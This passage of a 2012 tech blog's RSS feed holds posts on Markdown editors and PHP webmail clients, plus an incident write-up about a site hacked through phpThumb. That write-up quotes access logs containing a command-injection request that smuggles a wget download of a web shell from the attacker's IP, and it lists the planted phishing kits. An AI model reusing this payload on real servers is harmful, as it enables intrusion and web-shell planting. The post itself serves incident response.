<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/azgtech.wordpress.com/471/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/azgtech.wordpress.com/471/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=azgtech.wordpress.com&#038;blog=2464838&#038;post=471&#038;subd=azgtech&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://azgtech.wordpress.com/2012/11/09/free-helpdesk-solutions-livechat/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/230db3ce8e3cf13ced86d30ed7f70af7?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">AzGhanv/.</media:title>
		</media:content>

		<media:content url="http://www.otrs.com/uploads/pics/zoom-view.png" medium="image">
			<media:title type="html">http://www.otrs.com/uploads/pics/zoom-view.png</media:title>
		</media:content>

		<media:content url="http://dz5owajohjswa.cloudfront.net/wp-content/themes/userreport/_/img/fo_feedback_forum.png" medium="image" />
	</item>
		<item>
		<title>Markdown Editor for Fast Documentation</title>
		<link>http://azgtech.wordpress.com/2012/11/04/markdown-editor-for-fast-documentation/</link>
		<comments>http://azgtech.wordpress.com/2012/11/04/markdown-editor-for-fast-documentation/#comments</comments>
		<pubDate>Sun, 04 Nov 2012 13:47:29 +0000</pubDate>
		<dc:creator>azghanvi</dc:creator>
		
		<guid isPermaLink="false">http://azgtech.wordpress.com/2012/11/04/markdown-editor-for-fast-documentation/</guid>
		<description><![CDATA[I am very lazy in documenting the product, which usually causes a serious issue in marketing the product. I searched how others are doing it and found laravel framework was using .md files as documentation, and the generated html on website. .md was found to be a format known as markdown (since 2004). There are [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=azgtech.wordpress.com&#038;blog=2464838&#038;post=470&#038;subd=azgtech&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>I am very lazy in documenting the product, which usually causes a serious issue in marketing the product. I searched how others are doing it and found laravel framework was using .md files as documentation, and the generated html on website.</p>
<p>.md was found to be a format known as markdown (since 2004). There are several other like restructuredtext (rst), which is linked with sphinx documentor to generated HTML book.</p>
<p>I liked the simple syntax of markdown, and started working on it. The motivating point was when i write something in notepad, i copy-paste it on live editor and can get the stylized html auto generated.</p>
<p><a href="http://markable.in/">http://markable.in/</a> (preferred)</p>
<p><a href="http://jrham.es/instantmark/">http://jrham.es/instantmark/</a></p>
<p>Good thing is both generate raw html, which can be posted as wordpress blog article. And if your wordpress has some syntax highlighter plugin, it will publish your documentation pretty easily.</p>
<p>Just to log things, i am updating it on blog for future reference, and help some one in same scenario.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/azgtech.wordpress.com/470/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/azgtech.wordpress.com/470/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=azgtech.wordpress.com&#038;blog=2464838&#038;post=470&#038;subd=azgtech&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://azgtech.wordpress.com/2012/11/04/markdown-editor-for-fast-documentation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/230db3ce8e3cf13ced86d30ed7f70af7?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">AzGhanv/.</media:title>
		</media:content>
	</item>
		<item>
		<title>Email Web Clients for Intranet &amp; Corporate &#8211; PHP MySQL Based</title>
		<link>http://azgtech.wordpress.com/2012/10/13/email-web-clients-for-intranet-corporate-php-mysql-based/</link>
		<comments>http://azgtech.wordpress.com/2012/10/13/email-web-clients-for-intranet-corporate-php-mysql-based/#comments</comments>
		<pubDate>Sat, 13 Oct 2012 20:29:43 +0000</pubDate>
		<dc:creator>azghanvi</dc:creator>
		
		<guid isPermaLink="false">http://azgtech.wordpress.com/2012/10/13/email-web-clients-for-intranet-corporate-php-mysql-based/</guid>
		<description><![CDATA[I prefer avoid working on google products are they are becoming more and more commercial and definitely have privacy concerns. Google Apps for business, after the major commercialization left many companies no where unless they pay google. Bandwidth, Diskspace &#38; Uptime is not an issue for any corporate intranet website. We just need a slick [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=azgtech.wordpress.com&#038;blog=2464838&#038;post=466&#038;subd=azgtech&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>I prefer avoid working on google products are they are becoming more and more commercial and definitely have privacy concerns.<br />
Google Apps for business, after the major commercialization left many companies no where unless they pay google. Bandwidth, Diskspace &amp; Uptime is not an issue for any corporate intranet website. We just need a slick email client to do a smooth migration.<br />
After little research here are my findings.</p>
<p><a href="http://www.noupe.com/ajax/10-ajax-webmail-clients.html">http://www.noupe.com/ajax/10-ajax-webmail-clients.html</a></p>
<p><a href="http://www.webresourcesdepot.com/category/extras/webmail-extras/">http://www.webresourcesdepot.com/category/extras/webmail-extras/</a></p>
<p><strong>Roundcube</strong></p>
<p><a href="http://roundcube.net/">http://roundcube.net/</a></p>
<p>Roundcube Webmail is a browser-based multilingual IMAP client with an application-like user interface providing full functionality like MIME support, address book, folder manipulation, searching and spell checking. It&#8217;s written in PHP and JavaScript.</p>
<p>There are some plugins available to extend more functions.<br />
<a href="http://sourceforge.net/directory/os:windows/freshness:recently-updated/?q=roundcube">http://sourceforge.net/directory/os:windows/freshness:recently-updated/?q=roundcube</a></p>
<p><img alt="1. Three-paned mail view with drag&amp;amp;drop" src="http://sourceforge.net/projects/roundcubemail/screenshots/329269" /></p>
<p><strong>Horde</strong></p>
<p>IMP is currently at version 5 and requires Horde 4. It adds new features like a new mobile frontend for smartphones, much improved AJAX frontend with new vertical layout<br />
<a href="http://www.horde.org/apps/imp/">http://www.horde.org/apps/imp/</a></p>
<p>version 4<br />
<img alt="imp5_3.png" src="http://www.horde.org/images/screenshots/imp/5/imp5_3.png" /></p>
<p>version 5<br />
<img alt="imp6_1.png" src="http://www.horde.org/images/screenshots/imp/6/imp6_1.png" /></p>
<p><strong>GWebmail</strong></p>
<p><a href="https://www.gwebmail.net/?page=screenshots">https://www.gwebmail.net/?page=screenshots</a></p>
<p>Gwebmail is an ajax powered webmail system with an interface similar to Gmail<br />
It is entirely written in PHP and uses MySQL to store messages<br />
It comes with fremium model, and 10 users are free.</p>
<p><img alt="" src="https://cdn-gwebmail-net.s3-external-3.amazonaws.com/gallery/inbox/images1/inbox.jpg" /><br />
<strong>AtMail Open</strong></p>
<p>Last Update: 2009-07-16<br />
<a href="http://sourceforge.net/projects/atmailopen/">http://sourceforge.net/projects/atmailopen/</a></p>
<p>AtMail is an open source webmail client written in PHP. We aim to provide a elegant Ajax webmail client for existing IMAP mailservers, with less bloat and a focus on an intuitive, simple user interface. They also have a commercial version of Atmail. Commercial version interface looks very promising.</p>
<p><img alt="Webmail screenshots" src="http://atmail.com/images/trynow-webmail.png" /><br />
<strong>AfterLogic WebMail Lite PHP</strong><br />
Last Update: 2011-12-06<br />
<a href="http://www.afterlogic.com/community-editions/webmail-lite">http://www.afterlogic.com/community-editions/webmail-lite</a></p>
<p>Also compare with commercial<br />
<a href="http://www.afterlogic.org/webmail-lite/compare">http://www.afterlogic.org/webmail-lite/compare</a></p>
<ul>
<li>Supports SMTP/IMAP/POP3/XMail protocols; MySQL or MS SQL database backend</li>
<li>Ajax driven interface</li>
<li>Can block javascript and external images in e-mails</li>
<li>Address Book</li>
<li>Skins and translations (including RTL rendering)</li>
<li>cPanel integration</li>
</ul>
<p><img alt="Manging the email list" src="http://sourceforge.net/projects/webmail-php-lt/screenshots/275759" /></p>
<p><strong>Hivemail</strong></p>
<p><a href="http://www.hivemail.com/index.php">http://www.hivemail.com/index.php</a></p>
<p>HiveMail now provides even more features and a revamped UI ! Amongst a stunning File Storage implementation which allows to add attachments from/to Storage, we have implemented the world&#8217;s first<a href="http://www.hivemail.com/kb/index.php?task=article&amp;article_id=10&amp;category_id=5">Quickview / Quickreply</a> System &#8211; a really slick and easy way to view/reply messages !</p>
<p><img alt="" src="http://www.hivemail.com/inbox2.png" /></p>
<p><strong>Hastymail</strong></p>
<p>Last Update: 2012-08-20<br />
<a href="http://www.hastymail.org/">http://www.hastymail.org/</a></p>
<p>Hastymail is a fast, secure, rfc-compliant, cross-platform IMAP/SMTP client application written in PHP providing a clean web interface for sending and reading E-mail.<br />
<img alt="Mailbox view with the default theme" src="http://sourceforge.net/projects/hastymail/screenshots/278441" /></p>
<p><strong>T-dah WebMail</strong></p>
<p>Beta Last Update: 2012-08-27<br />
<a href="http://tdah.us/">http://tdah.us/</a></p>
<p>T-dah webmail project based on uebimiau with new updates, template skins, filters, chat and calendar. T-dah Webmail is small, efficient, very easy to install and is always being improved.</p>
<p><img alt="Inbox" src="http://sourceforge.net/projects/t-dahmail/screenshots/222938.jpg" /></p>
<p><strong>SquirrelMail</strong></p>
<p>Last Update: 2011-09-19<br />
<a href="http://squirrelmail.org/">http://squirrelmail.org/</a></p>
<p>SquirrelMail is a PHP-based Web email client. It includes built-in pure PHP support for IMAP and SMTP, and renders all pages in pure HTML 4.0 for maximum compatibility across browsers. It has strong MIME support and a flexible plugin system. Interface looks old age of 1960s. But provide ensignia (following) better themes for it. Comments says code structure is good to incorporate and customize.</p>
<p><img alt="Advanced tree and icons (sm 1.5.1)" src="http://sourceforge.net/projects/squirrelmail/screenshots/33507" /><br />
<img alt="Advanced tree and icons (sm 1.5.1)" src="http://sourceforge.net/projects/squirrelmail/screenshots/33507" /></p>
<p><strong>SquirrelOutlook</strong><br />
<a href="http://squirreloutlook.sourceforge.net/">http://squirreloutlook.sourceforge.net/</a></p>
<p>SquirrelOutlook is a standards-based webmail package written in PHP4 (Squirrelmail). It includes built-in pure PHP support for the IMAP and SMTP protocols, and all pages render in pure HTML 4.0 for maximum compatibility across browsers.</p>
<p><img alt="Message List" src="http://sourceforge.net/projects/squirreloutlook/screenshots/100454" /></p>
<p><strong>Emexis-webmail skin squirremail</strong></p>
<p><a href="http://groups.google.com/group/emexis-webmail">http://groups.google.com/group/emexis-webmail</a><br />
emexis-webmail is a skin for the well-known Squirremail The intention of this project is to create more friendly interface for the End User</p>
<p><img alt="Layout Limpo" src="http://sourceforge.net/projects/emexis-webmail/screenshots/299661" /></p>
<p><strong>Ensignia (Powered by Squirrelmail)</strong><br />
<a href="http://nutsmail.com/squirrelmail.html">http://nutsmail.com/squirrelmail.html</a></p>
<p>Another squirrelmail fork, but commerical.</p>
<p><img title="en2" alt="" src="http://nutsmail.com/wp-content/uploads/2012/09/en2.png" height="300" width="470" /></p>
<p><strong>NOCC</strong><br />
Last Update: 2012-08-14<br />
<a href="http://nocc.sourceforge.net/">http://nocc.sourceforge.net/</a></p>
<p>NOCC is a simple and fast Webmail client which can handle POP3, SMTP, and IMAP servers. It is written with PHP5 (uses sessions), has low requirements (no database, frames). Features multi-language support, MIME attachments, displays HTML messages.</p>
<p><img alt="Inbox window" src="http://sourceforge.net/projects/nocc/screenshots/160858" /></p>
<p>There were few others like popper, v-webmail etc, but were of very low quality interface so i skipped them in this extract.</p>
<p>Hope it is useful for businesses.</p>
<p><strong>References:</strong><br />
<a href="http://www.thefreecountry.com/php/emailclients.shtml">http://www.thefreecountry.com/php/emailclients.shtml</a><br />
<a href="http://sourceforge.net/directory">http://sourceforge.net/directory</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/azgtech.wordpress.com/466/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/azgtech.wordpress.com/466/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=azgtech.wordpress.com&#038;blog=2464838&#038;post=466&#038;subd=azgtech&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://azgtech.wordpress.com/2012/10/13/email-web-clients-for-intranet-corporate-php-mysql-based/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://2.gravatar.com/avatar/230db3ce8e3cf13ced86d30ed7f70af7?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">AzGhanv/.</media:title>
		</media:content>

		<media:content url="http://sourceforge.net/projects/roundcubemail/screenshots/329269" medium="image">
			<media:title type="html">1. Three-paned mail view with drag&#38;drop</media:title>
		</media:content>

		<media:content url="http://www.horde.org/images/screenshots/imp/5/imp5_3.png" medium="image">
			<media:title type="html">imp5_3.png</media:title>
		</media:content>

		<media:content url="http://www.horde.org/images/screenshots/imp/6/imp6_1.png" medium="image">
			<media:title type="html">imp6_1.png</media:title>
		</media:content>

		<media:content url="https://cdn-gwebmail-net.s3-external-3.amazonaws.com/gallery/inbox/images1/inbox.jpg" medium="image" />

		<media:content url="http://atmail.com/images/trynow-webmail.png" medium="image">
			<media:title type="html">Webmail screenshots</media:title>
		</media:content>

		<media:content url="http://sourceforge.net/projects/webmail-php-lt/screenshots/275759" medium="image">
			<media:title type="html">Manging the email list</media:title>
		</media:content>

		<media:content url="http://www.hivemail.com/inbox2.png" medium="image" />

		<media:content url="http://sourceforge.net/projects/hastymail/screenshots/278441" medium="image">
			<media:title type="html">Mailbox view with the default theme</media:title>
		</media:content>

		<media:content url="http://sourceforge.net/projects/t-dahmail/screenshots/222938.jpg" medium="image">
			<media:title type="html">Inbox</media:title>
		</media:content>

		<media:content url="http://sourceforge.net/projects/squirrelmail/screenshots/33507" medium="image">
			<media:title type="html">Advanced tree and icons (sm 1.5.1)</media:title>
		</media:content>

		<media:content url="http://sourceforge.net/projects/squirrelmail/screenshots/33507" medium="image">
			<media:title type="html">Advanced tree and icons (sm 1.5.1)</media:title>
		</media:content>

		<media:content url="http://sourceforge.net/projects/squirreloutlook/screenshots/100454" medium="image">
			<media:title type="html">Message List</media:title>
		</media:content>

		<media:content url="http://sourceforge.net/projects/emexis-webmail/screenshots/299661" medium="image">
			<media:title type="html">Layout Limpo</media:title>
		</media:content>

		<media:content url="http://nutsmail.com/wp-content/uploads/2012/09/en2.png" medium="image">
			<media:title type="html">en2</media:title>
		</media:content>

		<media:content url="http://sourceforge.net/projects/nocc/screenshots/160858" medium="image">
			<media:title type="html">Inbox window</media:title>
		</media:content>
	</item>
		<item>
		<title>Security Comprimised by PHPThumb Vulnerability &#8211; Solved</title>
		<link>http://azgtech.wordpress.com/2012/05/16/phpthumb-vulnerability-solved/</link>
		<comments>http://azgtech.wordpress.com/2012/05/16/phpthumb-vulnerability-solved/#comments</comments>
		<pubDate>Wed, 16 May 2012 03:08:55 +0000</pubDate>
		<dc:creator>azghanvi</dc:creator>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[phpthumb vulnerability]]></category>
		<category><![CDATA[phpthumb web shell]]></category>

		<guid isPermaLink="false">http://azgtech.wordpress.com/2012/05/16/phpthumb-vulnerability-solved/</guid>
		<description><![CDATA[Today, i got an urgent message about a website, which actually got hacked due to an opensource PHP library for Image Modification operations &#8216;phpThumb&#8217;. phpThumb have published a security update end of last year (August 2011) but it was not updated on server. Vulnerability is mentioned here &#8230; http://secunia.com/advisories/39556 http://forum.intern0t.org/exploits-vulnerabilities-pocs/2969-phpthumb-all-versions-arbitrary-command-execution.html The hacker footprint was &#8230; [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=azgtech.wordpress.com&#038;blog=2464838&#038;post=454&#038;subd=azgtech&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Today, i got an urgent message about a website, which actually got hacked due to an opensource PHP library for Image Modification operations &#8216;phpThumb&#8217;. phpThumb have published a security update end of last year (August 2011) but it was not updated on server.</p>
<p>Vulnerability is mentioned here &#8230;</p>
<p><a href="http://secunia.com/advisories/39556">http://secunia.com/advisories/39556</a></p>
<p><a href="http://forum.intern0t.org/exploits-vulnerabilities-pocs/2969-phpthumb-all-versions-arbitrary-command-execution.html">http://forum.intern0t.org/exploits-vulnerabilities-pocs/2969-phpthumb-all-versions-arbitrary-command-execution.html</a></p>
<p>The hacker footprint was &#8230;</p>
<p>I fetched all files changes in last 2 days &#8230; by going to public_html and running</p>
<p># find ./ -type f -ctime -2 -exec ls -lcr {} \; &gt; ../last-activity.txt</p>
<p>Interesting results &#8230; The Web Shell, Perl and PHP files &#8230;</p>
<p>-rw-r&#8211;r&#8211; 1 user user 24911 May 15 08:08 ./phpthumb/filess.php<br />
-rw-r&#8211;r&#8211; 1 user user 4549 May 15 08:10 ./phpthumb/cp.txt<br />
-rw-r&#8211;r&#8211; 1 user user 1076 May 15 08:13 ./phpthumb/confspy.log<br />
-rw-r&#8211;r&#8211; 1 user user 24911 May 15 08:08 ./phpthumb/filess.php.1<br />
-rw-r&#8211;r&#8211; 1 user user 194113 May 15 10:09 ./config.php</p>
<p>and The Phising Codes</p>
<p>-rw-r&#8211;r&#8211; 1 user user 28469 May 15 11:36 ./webmail.uncfsu.edu.zip<br />
-rw-r&#8211;r&#8211; 1 user user 3669 May 15 11:37 ./<a href="http://webmail.uncfsu.edu/login_files/flogon.js">webmail.uncfsu.edu/login_files/flogon.js</a><br />
-rw-r&#8211;r&#8211; 1 user user 1144 May 15 11:37 ./<a href="http://webmail.uncfsu.edu/login_files/lgnexlogo.gif">webmail.uncfsu.edu/login_files/lgnexlogo.gif</a><br />
-rw-r&#8211;r&#8211; 1 user user 2512 May 15 11:37 ./<a href="http://webmail.uncfsu.edu/login_files/lgntopr.gif">webmail.uncfsu.edu/login_files/lgntopr.gif</a><br />
-rw-r&#8211;r&#8211; 1 user user 3461 May 15 11:37 ./<a href="http://webmail.uncfsu.edu/login_files/owafont.css">webmail.uncfsu.edu/login_files/owafont.css</a><br />
-rw-r&#8211;r&#8211; 1 user user 2310 May 15 11:37 ./<a href="http://webmail.uncfsu.edu/login_files/logon.css">webmail.uncfsu.edu/login_files/logon.css</a></p>
<p>&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;</p>
<p>-rw-r&#8211;r&#8211; 1 user user 222219 May 15 15:08 ./chaseupdating.zip<br />
-rw-r&#8211;r&#8211; 1 user user 1245 May 15 15:37 ./chaseupdating/chaseupdating/onlinesecurity/M3DiJoK.php<br />
-rw-r&#8211;r&#8211; 1 user user 5692 May 15 15:37 ./chaseupdating/chaseupdating/onlinesecurity/Logon.php<br />
-rw-r&#8211;r&#8211; 1 user user 316 May 15 15:37 ./chaseupdating/chaseupdating/onlinesecurity/index.php<br />
-rw-r&#8211;r&#8211; 1 user user 29742 May 15 15:37 ./chaseupdating/chaseupdating/onlinesecurity/details.php<br />
-rw-r&#8211;r&#8211; 1 user user 323 May 15 15:37 ./chaseupdating/chaseupdating/onlinesecurity/M3DiJoK/default_bg.gif<br />
-rw-r&#8211;r&#8211; 1 user user 1556 May 15 15:37 ./chaseupdating/chaseupdating/onlinesecurity/M3DiJoK/search_button_home.gif<br />
-rw-r&#8211;r&#8211; 1 user user 121 May 15 15:37 ./chaseupdating/chaseupdating/onlinesecurity/M3DiJoK/curvebg_darkblue_right.gif</p>
<p><strong>Visiting Access Logs</strong>, explored exact details of the intruder actions &#8230;</p>
<p>41.138.185.64 &#8211; - [15/May/2012:08:08:51 -0600] &#8220;GET /vendors/phpthumb/phpThumb.php?src=file.jpg&amp;fltr[]=blur|9%20-quality%20%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg%20<strong>;wget%20http://41.138.185.64/filess.php;</strong>%20&amp;phpThumbDebug=9 HTTP/1.1&#8243; 200 48077 &#8220;-&#8221; &#8220;Opera/9.80 (Windows NT 6.1; WOW64; U; en) Presto/2.10.229 Version/11.62&#8243;<br />
41.138.185.64 &#8211; - [15/May/2012:08:08:58 -0600] &#8220;GET /vendors/phpthumb/filess.php HTTP/1.1&#8243; 200 471 &#8220;-&#8221; &#8220;Opera/9.80 (Windows NT 6.1; WOW64; U; en) Presto/2.10.229 Version/11.62&#8243;<br />
41.138.185.64 &#8211; - [15/May/2012:10:09:26 -0600] &#8220;GET /config.php HTTP/1.1&#8243; 302 378 &#8220;-&#8221; &#8220;Opera/9.80 (Windows NT 6.1; WOW64; U; en) Presto/2.10.229 Version/11.62&#8243;</p>
<p>Looking Dangerous ?</p>
<p>&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;</p>
<p><strong>Solution:</strong></p>
<p>1.) Remove the infection from the files</p>
<p>2.) Ensure there as no php shells left behind</p>
<p>3.) Upgrade the software and keep upgrading.</p>
<p><a href="http://www.webhostingtalk.com/showthread.php?t=972669">http://www.webhostingtalk.com/showthread.php?t=972669</a></p>
<p>A must do thing is to keep an eye on <a href="http://secunia.com/advisories">http://secunia.com/advisories</a> about vulnerabilities detected time by time.</p>
<p>I would suggest to make a gdocs file to track the all such cases. for e.g.</p>
<p>3rd party libs | installed version | released version | last check date.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/azgtech.wordpress.com/454/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/azgtech.wordpress.com/454/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=azgtech.wordpress.com&#038;blog=2464838&#038;post=454&#038;subd=azgtech&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://azgtech.wordpress.com/2012/05/16/phpthumb-vulnerability-solved/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://2.gravatar.com/avatar/230db3ce8e3cf13ced86d30ed7f70af7?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">AzGhanv/.</media:title>
		</media:content>
	</item>
	</channel>
</rss>
